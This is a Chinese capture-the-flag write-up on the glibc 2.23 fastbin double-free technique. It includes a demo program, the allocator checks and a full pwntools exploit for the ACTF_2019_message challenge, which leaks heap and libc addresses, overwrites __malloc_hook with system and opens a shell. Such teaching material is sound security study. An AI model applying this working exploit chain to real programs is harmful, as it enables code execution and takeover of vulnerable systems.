Fastbin Double Free
参考:shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)
Glibc-2.23
实验代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
free(a);
free(b);
free(a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
return 0;
}
编译&换libc版本
gcc main.c -g -o main_x64
patchelf --set-interpreter /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 main_x64
实验过程
执行到释放,观察a,b,c的值。
开始释放,将a释放两次之后,fastbins里面形成了一个循环,现在只要不向申请的fast chunk里面写入内容就可以无限申请这两个地址,需要注意的地方是同一个 fast chunk 不能连着释放两次。
同一个 fast chunk 不能连着释放两次的原因
/*
old 的值为前一个释放的fast chunk指针
p 为当释放的fast chunk指针
*/
if (__builtin_expect(old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
重新申请堆,根据fastbins(FILO)先进后出的规则,再次申请fast chunk时,将会返回0x555555757010,并将0x555555757010地址的值写入fastbinsY,所以只要我们在申请回第一个堆时,可以通过修改这个堆的fd来实现任意地址申请。
需要注意的地方
/*
如果伪造的地址的size和当前fastbinsY里面的大小不同会导致报错
idx为 malloc(size) 的size在fastbinsY里面的索引
*/
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
0x555555757000: 0x0000000000000000 0x0000000000000021
0x555555757010: 0x0000555555757020 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021
0x555555757030: 0x0000555555757000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000020fa1
例题:ACTF_2019_message
检查发现没有开启PIE。
sub_400A3F是用来申请堆的,大小自定义。大小和指针保存在0x602060。根据汇编代码发现堆指针紧挨着size,占8字节。
sub_400B73用于释放堆,并且把大小设置成0了( edit 和 show 函数只能在size存在时才能使用)。
因为大小和堆指针存放的问题,我们可以利用Fastbin Double Free申请到0x602068地址。
思路
1、申请一个大小属于fast chunk的堆,大小随意,这个堆不进行释放,用来绕过申请fast chunk的检查。
2、申请两个和第一个大小相同的fast chunk,利用Fastbin Double Free申请到0x602068地址。
3、通过得到的0x602060地址,进行泄露heap基址 和 libc基址。
4、修改__malloc_hook或__free_hook的值得到shell。
exp
EXP
from pwn import *
from LibcSearcher import *
debug = 0
local = 0
host = ""
port = 0
filename = "./ACTF_2019_message"
def getflag():
p.sendline(b'cat flag')
p.interactive()
def stop():
while True:
print(p.recv())
def malloc(size, data):
p.sendafter(b'choice: ', b'1')
p.sendafter(b'message:\n', f'{size}'.encode())
p.sendlineafter(b'message:\n', data)
def free(index):
p.sendafter(b'choice: ', b'2')
p.sendafter(b'delete:\n', f'{index}'.encode())
def edit(index, data):
p.sendafter(b'choice: ', b'3')
p.sendafter(b'edit:\n', f'{index}'.encode())
p.sendlineafter(b'message:\n', data)
def show(index):
p.sendafter(b'choice: ', b'4')
p.sendafter(b'display:\n', f'{index}'.encode())
p = process(filename) if not debug and local else gdb.debug(filename, "b *0x400E25") if debug else remote(host, port)
elf = ELF(filename)
libc = elf.libc
malloc(0x80, b'/bin/sh\x00')
malloc(0x78, b'')
malloc(0x78, b'')
free(1)
free(2)
free(1)
malloc(0x78, p64(0x602058))
malloc(0x78, b'')
malloc(0x78, b'')
malloc(0x78, b'')
show(6)
p.recvuntil(b'message: ')
heapbase = u64(p.recvuntil(b'=')[:-2].ljust(8, b'\x00')) - 0x0A
print(f'heap => {hex(heapbase)}')
edit(6, p64(0x601F90))
show(0)
p.recvuntil(b'message: ')
freeaddr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
print(f'free => {hex(freeaddr)}')
if local:
libcbase = freeaddr - libc.sym['free']
system = libcbase + libc.sym['system']
malloc_hook = libcbase + libc.sym['__malloc_hook']
else:
libc = LibcSearcher('free', freeaddr)
# libc.select_libc(0)
libcbase = freeaddr - libc.dump('free')
system = libcbase + libc.dump('system')
malloc_hook = libcbase + libc.dump('__malloc_hook')
edit(6, p64(malloc_hook))
edit(0, p64(system))
p.sendafter(b'choice: ', b'1')
p.sendafter(b'message:\n', f'{heapbase+0x10}'.encode())
getflag()